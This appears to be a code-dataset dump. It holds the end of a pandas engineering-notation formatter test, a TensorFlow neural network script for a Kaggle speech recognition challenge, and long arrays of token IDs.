3.1416E+00"), (f * 10 ** 1, " 31.4159E+00"), (f * 10 ** 2, " 314.1593E+00"), (f * 10 ** 3, " 3.1416E+03"), (f * 10 ** 4, " 31.4159E+03"), (f * 10 ** 5, " 314.1593E+03"), (f * 10 ** 6, " 3.1416E+06"), (f * 10 ** 7, " 31.4159E+06"), (f * 10 ** 8, " 314.1593E+06"), (f * 10 ** 9, " 3.1416E+09"), (f * 10 ** 10, " 31.4159E+09"), (f * 10 ** 11, " 314.1593E+09"), (f * 10 ** 12, " 3.1416E+12"), (f * 10 ** 13, " 31.4159E+12"), (f * 10 ** 14, " 314.1593E+12"), (f * 10 ** 15, " 3.1416E+15"), (f * 10 ** 16, " 31.4159E+15"), (f * 10 ** 17, " 314.1593E+15"), (f * 10 ** 18, " 3.1416E+18"), (f * 10 ** 19, " 31.4159E+18"), (f * 10 ** 20, " 314.1593E+18"), (f * 10 ** 21, " 3.1416E+21"), (f * 10 ** 22, " 31.4159E+21"), (f * 10 ** 23, " 314.1593E+21"), (f * 10 ** 24, " 3.1416E+24"), (f * 10 ** 25, " 31.4159E+24"), (f * 10 ** 26, " 314.1593E+24")] self.compare_all(formatter, in_out) def test_rounding(self): formatter = fmt.EngFormatter(accuracy=3, use_eng_prefix=True) in_out = [(5.55555, ' 5.556'), (55.5555, ' 55.556'), (555.555, ' 555.555'), (5555.55, ' 5.556k'), (55555.5, ' 55.556k'), (555555, ' 555.555k')] self.compare_all(formatter, in_out) formatter = fmt.EngFormatter(accuracy=1, use_eng_prefix=True) in_out = [(5.55555, ' 5.6'), (55.5555, ' 55.6'), (555.555, ' 555.6'), (5555.55, ' 5.6k'), (55555.5, ' 55.6k'), (555555, ' 555.6k')] self.compare_all(formatter, in_out) formatter = fmt.EngFormatter(accuracy=0, use_eng_prefix=True) in_out = [(5.55555, ' 6'), (55.5555, ' 56'), (555.555, ' 556'), (5555.55, ' 6k'), (55555.5, ' 56k'), (555555, ' 556k')] self.compare_all(formatter, in_out) formatter = fmt.EngFormatter(accuracy=3, use_eng_prefix=True) result = formatter(0) assert result == u(' 0.000') def test_nan(self): # Issue #11981 formatter = fmt.EngFormatter(accuracy=1, use_eng_prefix=True) result = formatter(np.nan) assert result == u('NaN') df = pd.DataFrame({'a': [1.5, 10.3, 20.5], 'b': [50.3, 60.67, 70.12], 'c': [100.2, 101.33, 120.33]}) pt = df.pivot_table(values='a', index='b', columns='c') fmt.set_eng_float_format(accuracy=1) result = pt.to_string() assert 'NaN' in result tm.reset_display_options() def test_inf(self): # Issue #11981 formatter = fmt.EngFormatter(accuracy=1, use_eng_prefix=True) result = formatter(np.inf) assert result == u('inf')
bsd-3-clause
[ 646, 2680, 465, 980, 199, 646, 10634, 465, 6454, 199, 504, 10634, 492, 10071, 199, 504, 10634, 14, 5819, 492, 399, 199, 646, 10634, 14, 2308, 14, 6321, 14, 908, 465, 7104, 199, 504, 10634, 14, 1974, 492, 5343, 465, 7352, 421, 199, 533, 1379, 16197, 7772, 8, 785, 304, 339, 347, 511, 63, 7420, 63, 1609, 63, 8911, 8, 277, 304, 267, 4051, 275, 10071, 3252, 33, 356, 359, 17, 14, 2953, 12, 413, 2953, 2020, 4329, 1960, 12, 413, 2953, 993, 14, 13412, 398, 7104, 14, 409, 63, 7420, 63, 1609, 63, 908, 342, 267, 754, 275, 4051, 14, 475, 63, 875, 342, 267, 1420, 275, 661, 3777, 437, 60, 78, 7, 490, 283, 16, 259, 413, 14, 24781, 37, 11, 383, 60, 78, 7, 490, 283, 17, 221, 413, 2953, 14, 1493, 37, 11, 383, 60, 78, 7, 490, 283, 18, 257, 4329, 14, 1960, 37, 11, 1644, 60, 78, 7, 490, 283, 19, 259, 413, 14, 24781, 37, 11, 1690, 358, 267, 702, 754, 508, 1420, 398, 7104, 14, 409, 63, 7420, 63, 1609, 63, 908, 8, 1180, 63, 7420, 63, 1861, 29, 549, 9, 267, 754, 275, 4051, 14, 475, 63, 875, 342, 267, 1420, 275, 661, 260, 437, 60, 78, 7, 490, 283, 16, 259, 413, 14, 24781, 60, 78, 7, 490, 283, 17, 221, 413, 2953, 14, 1493, 60, 78, 7, 490, 283, 18, 221, 4329, 14, 1960, 75, 60, 78, 7, 490, 283, 19, 257, 413, 14, 24781, 45, 358, 267, 702, 754, 508, 1420, 398, 7104, 14, 409, 63, 7420, 63, 1609, 63, 908, 8, 13374, 29, 16, 9, 267, 754, 275, 4051, 14, 475, 63, 875, 342, 267, 1420, 275, 661, 260, 437, 60, 78, 7, 490, 283, 16, 259, 413, 37, 11, 383, 60, 78, 7, 490, 283, 17, 221, 413, 2953, 37, 11, 383, 60, 78, 7, 490, 283, 18, 257, 4329, 37, 11, 1644, 60, 78, 7, 490, 283, 19, 259, 413, 37, 11, 1690, 358, 267, 702, 754, 508, 1420, 398, 7352, 14, 3958, 63, 2918, 63, 1419, 342, 339, 347, 6540, 8, 277, 12, 9698, 12, 1324, 12, 1072, 304, 267, 7871, 63, 1210, 275, 9698, 8, 1210, 9, 267, 702, 7871, 63, 1210, 508, 1072, 339, 347, 6540, 63, 452, 8, 277, 12, 9698, 12, 315, 63, 548, 304, 267, 408, 267, 3897, 26, 267, 3001, 2595, 267, 9698, 26, 18960, 7772, 1334, 511, 267, 315, 63, 548, 26, 769, 402, 6346, 14, 7048, 2008, 275, 334, 1955, 12, 1420, 63, 20034, 9, 398, 2779, 365, 12470, 340, 283, 8911, 8, 1955, 9, 508, 1420, 63, 20034, 1370, 267, 627, 1955, 10, 1077, 506, 2356, 378, 2952, 9698, 2801, 1955, 9, 508, 7104, 365, 2597, 267, 12470, 14, 627, 5045, 10, 365, 7131, 687, 627, 2062, 63, 20034, 10, 267, 408, 267, 367, 1324, 12, 1072, 315, 315, 63, 548, 26, 288, 291, 14, 5785, 8, 8911, 12, 1324, 12, 1072, 9, 288, 291, 14, 5785, 8, 8911, 12, 446, 1210, 12, 17155, 435, 1072, 59, 17, 5728, 339, 347, 511, 63, 23475, 83, 63, 1045, 63, 7420, 63, 1861, 8, 277, 304, 267, 9698, 275, 7104, 14, 16197, 7772, 8, 13374, 29, 19, 12, 675, 63, 7420, 63, 1861, 29, 549, 9, 267, 289, 275, 980, 14, 5079, 8, 18, 9, 267, 315, 63, 548, 275, 359, 288, 334, 70, 627, 1616, 1011, 446, 1194, 12, 298, 413, 14, 25250, 89, 1288, 334, 70, 627, 1616, 1011, 446, 1789, 12, 298, 4329, 14, 12199, 89, 1288, 288, 334, 70, 627, 1616, 1011, 446, 1081, 12, 298, 413, 2953, 14, 20, 2025, 89, 1288, 334, 70, 627, 1616, 1011, 446, 2025, 12, 298, 413, 14, 25250, 90, 1288, 288, 334, 70, 627, 1616, 1011, 446, 1165, 12, 298, 4329, 14, 12199, 90, 1288, 334, 70, 627, 1616, 1011, 446, 1167, 12, 298, 413, 2953, 14, 20, 2025, 90, 1288, 288, 334, 70, 627, 1616, 1011, 446, 1085, 12, 298, 413, 14, 25250, 65, 1288, 334, 70, 627, 1616, 1011, 446, 1196, 12, 298, 4329, 14, 12199, 65, 1288, 288, 334, 70, 627, 1616, 1011, 446, 975, 12, 298, 413, 2953, 14, 20, 2025, 65, 1288, 334, 70, 627, 1616, 1011, 446, 1046, 12, 298, 413, 14, 25250, 70, 1288, 288, 334, 70, 627, 1616, 1011, 446, 1079, 12, 298, 4329, 14, 12199, 70, 1288, 334, 70, 627, 1616, 1011, 446, 969, 12, 298, 413, 2953, 14, 20, 2025, 70, 1288, 288, 334, 70, 627, 1616, 1011, 446, 713, 12, 298, 413, 14, 25250, 80, 1288, 334, 70, 627, 1616, 1011, 446, 845, 12, 298, 4329, 14, 12199, 80, 1288, 288, 334, 70, 627, 1616, 1011, 446, 709, 12, 298, 413, 2953, 14, 20, 2025, 80, 1288, 334, 70, 627, 1616, 1011, 446, 25, 12, 298, 413, 14, 25250, 78, 1288, 288, 334, 70, 627, 1616, 1011, 446, 24, 12, 298, 4329, 14, 12199, 78, 1288, 334, 70, 627, 1616, 1011, 446, 23, 12, 298, 413, 2953, 14, 20, 2025, 78, 1288, 288, 334, 70, 627, 1616, 1011, 446, 22, 12, 298, 413, 14, 25250, 85, 1288, 334, 70, 627, 1616, 1011, 446, 21, 12, 298, 4329, 14, 12199, 85, 1288, 288, 334, 70, 627, 1616, 1011, 446, 20, 12, 298, 413, 2953, 14, 20, 2025, 85, 1288, 334, 70, 627, 1616, 1011, 446, 19, 12, 298, 413, 14, 25250, 77, 1288, 288, 334, 70, 627, 1616, 1011, 446, 18, 12, 298, 4329, 14, 12199, 77, 1288, 334, 70, 627, 1616, 1011, 446, 17, 12, 298, 413, 2953, 14, 20, 2025, 77, 1288, 288, 334, 70, 627, 1616, 1011, 378, 12, 298, 413, 14, 25250, 1288, 334, 70, 627, 1616, 1011, 413, 12, 298, 4329, 14, 12199, 1288, 288, 334, 70, 627, 1616, 1011, 499, 12, 298, 413, 2953, 14, 20, 2025, 1288, 334, 70, 627, 1616, 1011, 650, 12, 298, 413, 14, 25250, 75, 1288, 288, 334, 70, 627, 1616, 1011, 841, 12, 298, 4329, 14, 12199, 75, 1288, 334, 70, 627, 1616, 1011, 959, 12, 298, 413, 2953, 14, 20, 2025, 75, 1288, 288, 334, 70, 627, 1616, 1011, 1227, 12, 298, 413, 14, 25250, 45, 1288, 334, 70, 627, 1616, 1011, 1520, 12, 298, 4329, 14 ]
[ 2680, 465, 980, 199, 646, 10634, 465, 6454, 199, 504, 10634, 492, 10071, 199, 504, 10634, 14, 5819, 492, 399, 199, 646, 10634, 14, 2308, 14, 6321, 14, 908, 465, 7104, 199, 504, 10634, 14, 1974, 492, 5343, 465, 7352, 421, 199, 533, 1379, 16197, 7772, 8, 785, 304, 339, 347, 511, 63, 7420, 63, 1609, 63, 8911, 8, 277, 304, 267, 4051, 275, 10071, 3252, 33, 356, 359, 17, 14, 2953, 12, 413, 2953, 2020, 4329, 1960, 12, 413, 2953, 993, 14, 13412, 398, 7104, 14, 409, 63, 7420, 63, 1609, 63, 908, 342, 267, 754, 275, 4051, 14, 475, 63, 875, 342, 267, 1420, 275, 661, 3777, 437, 60, 78, 7, 490, 283, 16, 259, 413, 14, 24781, 37, 11, 383, 60, 78, 7, 490, 283, 17, 221, 413, 2953, 14, 1493, 37, 11, 383, 60, 78, 7, 490, 283, 18, 257, 4329, 14, 1960, 37, 11, 1644, 60, 78, 7, 490, 283, 19, 259, 413, 14, 24781, 37, 11, 1690, 358, 267, 702, 754, 508, 1420, 398, 7104, 14, 409, 63, 7420, 63, 1609, 63, 908, 8, 1180, 63, 7420, 63, 1861, 29, 549, 9, 267, 754, 275, 4051, 14, 475, 63, 875, 342, 267, 1420, 275, 661, 260, 437, 60, 78, 7, 490, 283, 16, 259, 413, 14, 24781, 60, 78, 7, 490, 283, 17, 221, 413, 2953, 14, 1493, 60, 78, 7, 490, 283, 18, 221, 4329, 14, 1960, 75, 60, 78, 7, 490, 283, 19, 257, 413, 14, 24781, 45, 358, 267, 702, 754, 508, 1420, 398, 7104, 14, 409, 63, 7420, 63, 1609, 63, 908, 8, 13374, 29, 16, 9, 267, 754, 275, 4051, 14, 475, 63, 875, 342, 267, 1420, 275, 661, 260, 437, 60, 78, 7, 490, 283, 16, 259, 413, 37, 11, 383, 60, 78, 7, 490, 283, 17, 221, 413, 2953, 37, 11, 383, 60, 78, 7, 490, 283, 18, 257, 4329, 37, 11, 1644, 60, 78, 7, 490, 283, 19, 259, 413, 37, 11, 1690, 358, 267, 702, 754, 508, 1420, 398, 7352, 14, 3958, 63, 2918, 63, 1419, 342, 339, 347, 6540, 8, 277, 12, 9698, 12, 1324, 12, 1072, 304, 267, 7871, 63, 1210, 275, 9698, 8, 1210, 9, 267, 702, 7871, 63, 1210, 508, 1072, 339, 347, 6540, 63, 452, 8, 277, 12, 9698, 12, 315, 63, 548, 304, 267, 408, 267, 3897, 26, 267, 3001, 2595, 267, 9698, 26, 18960, 7772, 1334, 511, 267, 315, 63, 548, 26, 769, 402, 6346, 14, 7048, 2008, 275, 334, 1955, 12, 1420, 63, 20034, 9, 398, 2779, 365, 12470, 340, 283, 8911, 8, 1955, 9, 508, 1420, 63, 20034, 1370, 267, 627, 1955, 10, 1077, 506, 2356, 378, 2952, 9698, 2801, 1955, 9, 508, 7104, 365, 2597, 267, 12470, 14, 627, 5045, 10, 365, 7131, 687, 627, 2062, 63, 20034, 10, 267, 408, 267, 367, 1324, 12, 1072, 315, 315, 63, 548, 26, 288, 291, 14, 5785, 8, 8911, 12, 1324, 12, 1072, 9, 288, 291, 14, 5785, 8, 8911, 12, 446, 1210, 12, 17155, 435, 1072, 59, 17, 5728, 339, 347, 511, 63, 23475, 83, 63, 1045, 63, 7420, 63, 1861, 8, 277, 304, 267, 9698, 275, 7104, 14, 16197, 7772, 8, 13374, 29, 19, 12, 675, 63, 7420, 63, 1861, 29, 549, 9, 267, 289, 275, 980, 14, 5079, 8, 18, 9, 267, 315, 63, 548, 275, 359, 288, 334, 70, 627, 1616, 1011, 446, 1194, 12, 298, 413, 14, 25250, 89, 1288, 334, 70, 627, 1616, 1011, 446, 1789, 12, 298, 4329, 14, 12199, 89, 1288, 288, 334, 70, 627, 1616, 1011, 446, 1081, 12, 298, 413, 2953, 14, 20, 2025, 89, 1288, 334, 70, 627, 1616, 1011, 446, 2025, 12, 298, 413, 14, 25250, 90, 1288, 288, 334, 70, 627, 1616, 1011, 446, 1165, 12, 298, 4329, 14, 12199, 90, 1288, 334, 70, 627, 1616, 1011, 446, 1167, 12, 298, 413, 2953, 14, 20, 2025, 90, 1288, 288, 334, 70, 627, 1616, 1011, 446, 1085, 12, 298, 413, 14, 25250, 65, 1288, 334, 70, 627, 1616, 1011, 446, 1196, 12, 298, 4329, 14, 12199, 65, 1288, 288, 334, 70, 627, 1616, 1011, 446, 975, 12, 298, 413, 2953, 14, 20, 2025, 65, 1288, 334, 70, 627, 1616, 1011, 446, 1046, 12, 298, 413, 14, 25250, 70, 1288, 288, 334, 70, 627, 1616, 1011, 446, 1079, 12, 298, 4329, 14, 12199, 70, 1288, 334, 70, 627, 1616, 1011, 446, 969, 12, 298, 413, 2953, 14, 20, 2025, 70, 1288, 288, 334, 70, 627, 1616, 1011, 446, 713, 12, 298, 413, 14, 25250, 80, 1288, 334, 70, 627, 1616, 1011, 446, 845, 12, 298, 4329, 14, 12199, 80, 1288, 288, 334, 70, 627, 1616, 1011, 446, 709, 12, 298, 413, 2953, 14, 20, 2025, 80, 1288, 334, 70, 627, 1616, 1011, 446, 25, 12, 298, 413, 14, 25250, 78, 1288, 288, 334, 70, 627, 1616, 1011, 446, 24, 12, 298, 4329, 14, 12199, 78, 1288, 334, 70, 627, 1616, 1011, 446, 23, 12, 298, 413, 2953, 14, 20, 2025, 78, 1288, 288, 334, 70, 627, 1616, 1011, 446, 22, 12, 298, 413, 14, 25250, 85, 1288, 334, 70, 627, 1616, 1011, 446, 21, 12, 298, 4329, 14, 12199, 85, 1288, 288, 334, 70, 627, 1616, 1011, 446, 20, 12, 298, 413, 2953, 14, 20, 2025, 85, 1288, 334, 70, 627, 1616, 1011, 446, 19, 12, 298, 413, 14, 25250, 77, 1288, 288, 334, 70, 627, 1616, 1011, 446, 18, 12, 298, 4329, 14, 12199, 77, 1288, 334, 70, 627, 1616, 1011, 446, 17, 12, 298, 413, 2953, 14, 20, 2025, 77, 1288, 288, 334, 70, 627, 1616, 1011, 378, 12, 298, 413, 14, 25250, 1288, 334, 70, 627, 1616, 1011, 413, 12, 298, 4329, 14, 12199, 1288, 288, 334, 70, 627, 1616, 1011, 499, 12, 298, 413, 2953, 14, 20, 2025, 1288, 334, 70, 627, 1616, 1011, 650, 12, 298, 413, 14, 25250, 75, 1288, 288, 334, 70,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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
GEMISIS/machine-learning
Kaggle/TensorFlow Speech Recognition Challenge/neural_network.py
1
15527
import os import tensorflow as tf import numpy as np from data import get_files from data import FEATURES from data import OUTPUTS from data import RESULT_MAP class DataPoint: length = 0 filenames = [] xs = [] ys = [] # Our expected inputs for training, testing, etc. class NNData: training = DataPoint() cross_validation = DataPoint() testing = DataPoint() everything = DataPoint() output = DataPoint() def __init__(self, load_training_data=True, partial=False, split_type="test", cv_percent=0.2, test_percent=0.2): # Start by reading in our CSV files. self.everything.xs, self.everything.ys, self.everything.filenames = get_files(partial, training_data=load_training_data) self.everything.length = len(self.everything.xs) if split_type == "cv-test": # Get our training data. self.training.xs = self.everything.xs[0:int(self.everything.length * (1 - cv_percent - test_percent))] self.training.ys = self.everything.ys[0:int(self.everything.length * (1 - cv_percent - test_percent))] self.training.filenames = self.everything.filenames[0:int(self.everything.length * (1 - cv_percent - test_percent))] self.training.length = int(self.everything.length * (1 - cv_percent - test_percent)) # Get our cross validation data. self.cross_validation.xs = self.everything.xs[int(self.everything.length * (1 - cv_percent - test_percent)):int(self.everything.length * (1 - test_percent))] self.cross_validation.ys = self.everything.ys[int(self.everything.length * (1 - cv_percent - test_percent)):int(self.everything.length * (1 - test_percent))] self.cross_validation.filenames = self.everything.filenames[int(self.everything.length * (1 - cv_percent - test_percent)):int(self.everything.length * (1 - test_percent))] self.cross_validation.length = int(self.everything.length * (1 - test_percent)) - int(self.everything.length * (1 - cv_percent - test_percent)) # Get our testing data. self.testing.xs = self.everything.xs[int(self.everything.length * (1 - test_percent)):self.everything.length] self.testing.ys = self.everything.ys[int(self.everything.length * (1 - test_percent)):self.everything.length] self.testing.filenames = self.everything.filenames[int(self.everything.length * (1 - test_percent)):self.everything.length] self.testing.length = self.everything.length - int(self.everything.length * (1 - test_percent)) elif split_type == "test": # Get our training data. self.training.xs = self.everything.xs[0:int(self.everything.length * (1 - test_percent))] self.training.ys = self.everything.ys[0:int(self.everything.length * (1 - test_percent))] self.training.filenames = self.everything.filenames[0:int(self.everything.length * (1 - test_percent))] self.training.length = int(self.everything.length * (1 - test_percent)) # Get our testing data. self.testing.xs = self.everything.xs[int(self.everything.length * (1 - test_percent)):self.everything.length] self.testing.ys = self.everything.ys[int(self.everything.length * (1 - test_percent)):self.everything.length] self.testing.filenames = self.everything.filenames[int(self.everything.length * (1 - test_percent)):self.everything.length] self.testing.length = self.everything.length - int(self.everything.length * (1 - test_percent)) else: # Get our training data. self.training.xs = self.everything.xs[0:self.everything.length] self.training.ys = self.everything.ys[0:self.everything.length] self.training.filenames = self.everything.filenames[0:self.everything.length] self.training.length = self.everything.length # Setup our weights and biases and try to prevent them from # ever getting to 0 (dying) as best we can. def weight_variable(shape, name): initial = tf.truncated_normal(shape, stddev=0.1) return tf.Variable(initial, name="W" + name) def bias_variable(shape, name): initial = tf.constant(0.1, shape=shape) return tf.Variable(initial, name="b" + name) # Setup our convolution (with strides of 1). def conv2d(x, W): return tf.nn.conv2d(x, W, strides=[1, 1, 1, 1], padding='SAME') # Setup our pooling options (2x2 matrix for pooling) def max_pool_2x2(x): return tf.nn.max_pool(x, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME') # Creates a convolutional pooling network. def create_conv_pool(input, input_size, output_size, name="conv"): with tf.name_scope(name): weights = weight_variable([5, 5, input_size, output_size]) biases = bias_variable([output_size]) activation = tf.nn.relu(conv2d(input, weights) + biases) tf.summary.histogram("weights", weights) tf.summary.histogram("biases", biases) tf.summary.histogram("activations", activation) return max_pool_2x2(activation) # Creates our fully connected layer. def create_fc_layer(input, input_size, output_size, name="fc"): with tf.name_scope(name): weights = weight_variable([input_size, output_size]) biases = bias_variable([output_size]) flat_input = tf.reshape(input, [-1, input_size]) return tf.nn.relu(tf.matmul(flat_input, weights) + biases) # Creates our dropout layer which is used for our prediction. def create_dropout_connected_readout(input, input_size, output_size, name="readout"): with tf.name_scope(name): weights = weight_variable([input_size, output_size]) biases = bias_variable([output_size]) weight_dropout = tf.nn.dropout(weights, keep_prob) * keep_prob return tf.matmul(input, weight_dropout) + biases def create_layer(name, input, input_shape, output_shape, activation_function=None): # Create our weights and calculate our prediction. W = weight_variable([input_shape, output_shape], name) b = bias_variable([output_shape], name) y = tf.matmul(input, W) + b if activation_function is "softmax": y = tf.nn.softmax(y) if activation_function is "relu": y = tf.nn.relu(y) # Give some summaries for the outputs. tf.summary.histogram("weights_" + name, W) tf.summary.histogram("biases_" + name, b) tf.summary.histogram("y_" + name, y) return W, y with tf.name_scope("prediction"): x = tf.placeholder(tf.float32, [None, FEATURES], name="inputs") keep_prob = tf.placeholder(tf.float32, name="kP") y_ = tf.placeholder(tf.float32, [None, OUTPUTS], name="actuals") W_input, y_input = create_layer("input", x, FEATURES, 100, activation_function="softmax") W_hidden, y_hidden = create_layer("hidden", y_input, 100, 100, activation_function=None) W_activation, y_activation = create_layer("activation", y_hidden, 100, OUTPUTS, activation_function=None) prediction = tf.nn.softmax(y_activation) # Get our calculated input (1 if survived, 0 otherwise) output = tf.argmax(prediction, 1) # Now calculate the error and train it. with tf.name_scope("cost"): cost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=y_, logits=y_activation)) tf.summary.scalar("cost", cost) with tf.name_scope("train"): train_step = tf.train.AdamOptimizer(1e-4).minimize(cost) # Calculate the list of correct predictions. correct_prediction = tf.cast(tf.equal(tf.argmax(prediction, 1), tf.argmax(y_, 1)), tf.float32) # We want calculate the accuracy from an input, that way we can batch everything. prediction_results = tf.placeholder_with_default(correct_prediction, [None], name="prediction_results") accuracy = tf.reduce_mean(prediction_results) tf.summary.scalar("accuracy", accuracy) # Calculate our F1 score. Need to learn how to do with multiclass. # tp = tf.count_nonzero(tf.argmax(prediction, 1) * tf.argmax(y_, 1)) # tn = tf.count_nonzero((tf.argmax(prediction, 1) - 1) * (tf.argmax(y_, 1) - 1)) # fp = tf.count_nonzero(tf.argmax(prediction, 1) * (tf.argmax(y_, 1) - 1)) # fn = tf.count_nonzero((tf.argmax(prediction, 1) - 1) * tf.argmax(y_, 1)) # precision = tp / (tp + fp) # recall = tp / (tp + fn) # f1 = 2 * precision * recall / (precision + recall) # tf.summary.scalar("f1", f1) saver = tf.train.Saver(tf.global_variables()) ############################################################# ############################################################# ############################################################# # Helper methods for utilizing the neural network. ######### ############################################################# ############################################################# ############################################################# def setup(log_dir): # Setup our session. sess = tf.InteractiveSession() merged_summary = tf.summary.merge_all() writer = tf.summary.FileWriter(log_dir) writer.add_graph(sess.graph) tf.global_variables_initializer().run() return sess, merged_summary, writer # Keep track of our training iterations. training_iteration = 0 def train(sess, data, batch=1): global training_iteration for i in range (1, batch + 1): data_start = int(((i - 1) / batch) * data.training.length) data_end = int((i / batch) * data.training.length) sess.run(train_step, feed_dict={x: data.training.xs[data_start:data_end], keep_prob: 0.5, y_: data.training.ys[data_start:data_end]}) training_iteration += 1 if batch > 1: progress = int((i / (batch + 1)) * 10) print('\rBatched Training: [{0}{1}] {2}%'.format('#' * progress, ' ' * (10 - progress), round(10 * progress, 2)), end=" ") if batch > 1: print() def train_summary(sess, data, merged_summary, writer, batch=1): global training_iteration for i in range (1, batch + 1): data_start = int(((i - 1) / batch) * data.training.length) data_end = int((i / batch) * data.training.length) s, t = sess.run([merged_summary, train_step], feed_dict={x: data.training.xs[data_start:data_end], keep_prob: 0.5, y_: data.training.ys[data_start:data_end]}) writer.add_summary(s, training_iteration) training_iteration += 1 if batch > 1: progress = int((i / batch) * 10) print('\rBatched Training: [{0}{1}] {2}%'.format('#' * progress, ' ' * (10 - progress), round(10 * progress, 2)), end=" ") if batch > 1: print() # Accuracy methods. def get_train_accuracy(sess, data, batch=1): total_predictions = [] for i in range (1, batch + 1): data_start = int(((i - 1) / batch) * data.training.length) data_end = int((i / batch) * data.training.length) predictions = sess.run(correct_prediction, feed_dict={x: data.training.xs[data_start:data_end], keep_prob: 1.0, y_: data.training.ys[data_start:data_end]}) total_predictions = np.concatenate((total_predictions, predictions), axis=0) return sess.run(accuracy, feed_dict={prediction_results: total_predictions}) * 100 def get_cv_accuracy(sess, data, batch=1): total_predictions = [] for i in range (1, batch + 1): data_start = int(((i - 1) / batch) * data.cross_validation.length) data_end = int((i / batch) * data.cross_validation.length) predictions = sess.run(correct_prediction, feed_dict={x: data.cross_validation.xs[data_start:data_end], keep_prob: 1.0, y_: data.cross_validation.ys[data_start:data_end]}) total_predictions += predictions return sess.run(accuracy, feed_dict={prediction_results: total_predictions}) * 100 def get_test_accuracy(sess, data, batch=1): total_predictions = [] for i in range (1, batch + 1): data_start = int(((i - 1) / batch) * data.testing.length) data_end = int((i / batch) * data.testing.length) predictions = sess.run(correct_prediction, feed_dict={x: data.testing.xs[data_start:data_end], keep_prob: 1.0, y_: data.testing.ys[data_start:data_end]}) total_predictions += predictions return sess.run(accuracy, feed_dict={prediction_results: total_predictions}) * 100 def get_total_accuracy(sess, data, batch=1): total_predictions = [] for i in range (1, batch + 1): data_start = int(((i - 1) / batch) * data.everything.length) data_end = int((i / batch) * data.everything.length) predictions = sess.run(correct_prediction, feed_dict={x: data.everything.xs[data_start:data_end], keep_prob: 1.0, y_: data.everything.ys[data_start:data_end]}) total_predictions += predictions return sess.run(accuracy, feed_dict={prediction_results: total_predictions}) * 100 # Cost methods. def get_train_cost(sess, data): return sess.run(cost, feed_dict={x: data.training.xs, keep_prob: 1.0, y_: data.training.ys}) def get_cv_cost(sess, data): return sess.run(cost, feed_dict={x: data.cross_validation.xs, keep_prob: 1.0, y_: data.cross_validation.ys}) def get_test_cost(sess, data): return sess.run(cost, feed_dict={x: data.testing.xs, keep_prob: 1.0, y_: data.testing.ys}) def get_total_cost(sess, data): return sess.run(cost, feed_dict={x: data.everything.xs, keep_prob: 1.0, y_: data.everything.ys}) # F1 Score methods. # def get_train_f1_score(sess, data): # return sess.run(f1, feed_dict={x: data.training.xs, keep_prob: 1.0, y_: data.training.ys}) # def get_cv_f1_score(sess, data): # return sess.run(f1, feed_dict={x: data.cross_validation.xs, keep_prob: 1.0, y_: data.cross_validation.ys}) # def get_test_f1_score(sess, data): # return sess.run(f1, feed_dict={x: data.testing.xs, keep_prob: 1.0, y_: data.testing.ys}) # def get_total_f1_score(sess, data): # return sess.run(f1, feed_dict={x: data.everything.xs, keep_prob: 1.0, y_: data.everything.ys}) def reset(): tf.global_variables_initializer().run() def load_model(sess, model_name, directory="model"): if os.path.exists(directory): saver.restore(sess, directory + "/" + model_name); else: print("Error loading model!") exit(-1) def save_model(sess, model_name, directory="model"): if not os.path.exists(directory): os.makedirs(directory) saver.save(sess, directory + "/" + model_name); def save_outputs(sess, data, output_file_name, include_actual=True, batch=1): # And finally write the results to an output file. with open(output_file_name, "w") as out_file: out_file.write("fname,label{0}\n".format(",actual" if include_actual else "")) for i in range (1, batch + 1): data_start = int(((i - 1) / batch) * data.everything.length) data_end = int((i / batch) * data.everything.length) results = sess.run(output, feed_dict={x: data.everything.xs[data_start:data_end], keep_prob: 1.0, y_: data.everything.ys[data_start:data_end]}) for filename, prediction, actual in zip(data.everything.filenames[data_start:data_end], results, data.everything.ys[data_start:data_end]): out_file.write("{0},{1}{2}\n".format(filename, RESULT_MAP[prediction], ("," + RESULT_MAP[actual.index(1)]) if include_actual else "")) if batch > 1: progress = int((i / batch) * 10) print('\rSaving results: [{0}{1}] {2}%'.format('#' * progress, ' ' * (10 - progress), round(10 * progress, 2)), end=" ") if batch > 1: print()
mit
[ 646, 747, 199, 646, 3228, 465, 2833, 199, 646, 2680, 465, 980, 199, 504, 666, 492, 664, 63, 1725, 199, 504, 666, 492, 16012, 619, 10799, 199, 504, 666, 492, 18746, 51, 199, 504, 666, 492, 20668, 63, 5443, 199, 199, 533, 3918, 3428, 26, 272, 2582, 275, 378, 272, 6203, 275, 942, 272, 12965, 275, 942, 272, 19205, 275, 942, 199, 199, 3, 25119, 1420, 4153, 367, 6093, 12, 5343, 12, 5423, 14, 199, 533, 31242, 1451, 26, 272, 6093, 275, 3918, 3428, 342, 272, 8059, 63, 6136, 275, 3918, 3428, 342, 272, 5343, 275, 3918, 3428, 342, 272, 8137, 275, 3918, 3428, 342, 272, 1072, 275, 3918, 3428, 342, 339, 347, 636, 826, 721, 277, 12, 2248, 63, 7588, 63, 576, 29, 549, 12, 7417, 29, 797, 12, 3715, 63, 466, 628, 396, 401, 6277, 63, 7045, 29, 16, 14, 18, 12, 511, 63, 7045, 29, 16, 14, 18, 304, 267, 327, 7707, 701, 7664, 315, 4154, 14689, 1584, 14, 267, 291, 14, 14287, 2127, 14, 7977, 12, 291, 14, 14287, 2127, 14, 588, 12, 291, 14, 14287, 2127, 14, 10309, 275, 664, 63, 1725, 8, 6672, 12, 6093, 63, 576, 29, 912, 63, 7588, 63, 576, 9, 267, 291, 14, 14287, 2127, 14, 1267, 275, 822, 8, 277, 14, 14287, 2127, 14, 7977, 9, 398, 340, 3715, 63, 466, 508, 298, 5107, 13, 396, 582, 288, 327, 2372, 4154, 6093, 666, 14, 288, 291, 14, 7588, 14, 7977, 275, 291, 14, 14287, 2127, 14, 7977, 59, 16, 26, 442, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 6277, 63, 7045, 446, 511, 63, 7045, 10524, 288, 291, 14, 7588, 14, 588, 275, 291, 14, 14287, 2127, 14, 588, 59, 16, 26, 442, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 6277, 63, 7045, 446, 511, 63, 7045, 10524, 288, 291, 14, 7588, 14, 10309, 275, 291, 14, 14287, 2127, 14, 10309, 59, 16, 26, 442, 8, 277, 14, 14287, 